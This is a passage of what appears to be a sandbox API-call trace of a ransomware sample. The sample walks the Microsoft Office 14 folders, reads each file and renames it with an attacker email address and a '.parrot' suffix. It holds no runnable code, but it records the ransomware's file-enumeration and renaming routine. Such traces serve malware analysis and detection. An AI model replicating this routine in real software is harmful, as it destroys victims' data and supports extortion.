(in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.577] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\voltage.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\VOLTAGE.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\media\\voltage.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.581] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.581] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.583] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.583] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6de, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6de, lpOverlapped=0x0) returned 1 [0195.583] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.583] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\whoosh.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WHOOSH.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\media\\whoosh.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.587] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.587] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0195.589] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.589] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b84, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2b84, lpOverlapped=0x0) returned 1 [0195.590] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.590] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WIND.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\media\\wind.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\WIND.WAV.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\media\\wind.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.594] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\MEDIA\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0195.594] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9cac60, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x9cac60, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.594] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb796bf00, ftCreationTime.dwHighDateTime=0x1bd8ab7, ftLastAccessTime.dwLowDateTime=0x5ebdaad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7dba80, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x6ec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="APPLAUSE.WAV.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="APPLAU~1.PAR")) returned 1 [0195.594] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.594] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0195.596] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.596] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5a768, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x5a768, lpOverlapped=0x0) returned 1 [0195.606] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.625] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.BusinessData.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.businessdata.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.634] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.682] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0195.684] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.685] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x295c, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x295c, lpOverlapped=0x0) returned 1 [0195.687] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.689] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.Runtime.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtime.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.698] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.698] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0195.699] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.699] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb2, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xb2, lpOverlapped=0x0) returned 1 [0195.700] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessApplications.RuntimeUi.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessapplications.runtimeui.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.709] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.709] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0195.711] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.711] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x33737, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x33737, lpOverlapped=0x0) returned 1 [0195.719] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.741] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.BusinessData.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.businessdata.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.749] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.749] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0195.750] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.750] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xc5265, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xc5265, lpOverlapped=0x0) returned 1 [0195.779] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.850] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0195.979] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0195.979] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0196.457] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.457] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x837d7, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x837d7, lpOverlapped=0x0) returned 1 [0196.577] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.663] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0196.673] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0196.673] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0196.674] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.675] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x311b0, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x311b0, lpOverlapped=0x0) returned 1 [0196.684] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.689] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.SharePoint.BusinessData.Administration.Client.xml.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.sharepoint.businessdata.administration.client.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0196.699] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0196.699] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0196.701] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.701] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12588, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x12588, lpOverlapped=0x0) returned 1 [0196.704] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.706] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MLCFG32.CPL" (normalized: "c:\\program files\\microsoft office\\office14\\mlcfg32.cpl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MLCFG32.CPL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mlcfg32.cpl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0196.713] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0196.713] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0196.715] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.715] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x25f87, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x25f87, lpOverlapped=0x0) returned 1 [0196.719] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.723] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MML2OMML.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\mml2omml.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MML2OMML.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mml2omml.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0196.733] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0196.734] ReadFile (in: hFile=0x27c, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0196.735] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.736] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa5580, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xa5580, lpOverlapped=0x0) returned 1 [0196.807] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.860] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSACC.OLB" (normalized: "c:\\program files\\microsoft office\\office14\\msacc.olb"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSACC.OLB.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\msacc.olb.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0196.871] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0196.872] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0196.873] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.873] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x566, lpOverlapped=0x0) returned 1 [0196.874] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.874] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\msaccess.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe.manifest"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\msaccess.exe.manifest.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\msaccess.exe.manifest.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0196.882] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0196.882] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0196.883] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.883] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa4c, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xa4c, lpOverlapped=0x0) returned 1 [0196.884] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.884] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.INF" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.INF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.inf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0196.890] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0196.891] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0196.895] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.896] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1aad, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x1aad, lpOverlapped=0x0) returned 1 [0196.897] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.897] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.PPD" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.ppd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\MSCOL11.PPD.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mscol11.ppd.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0196.905] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0196.905] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0196.907] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.907] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xe00, lpOverlapped=0x0) returned 1 [0196.907] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.908] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_en.dub" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_en.dub"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_en.dub.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\mscss7cm_en.dub.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0196.914] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0196.914] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0196.916] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.916] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0xa00, lpOverlapped=0x0) returned 1 [0196.916] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.917] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\mscss7cm_es.dub" (normalized: "c:\\program files\\microsoft 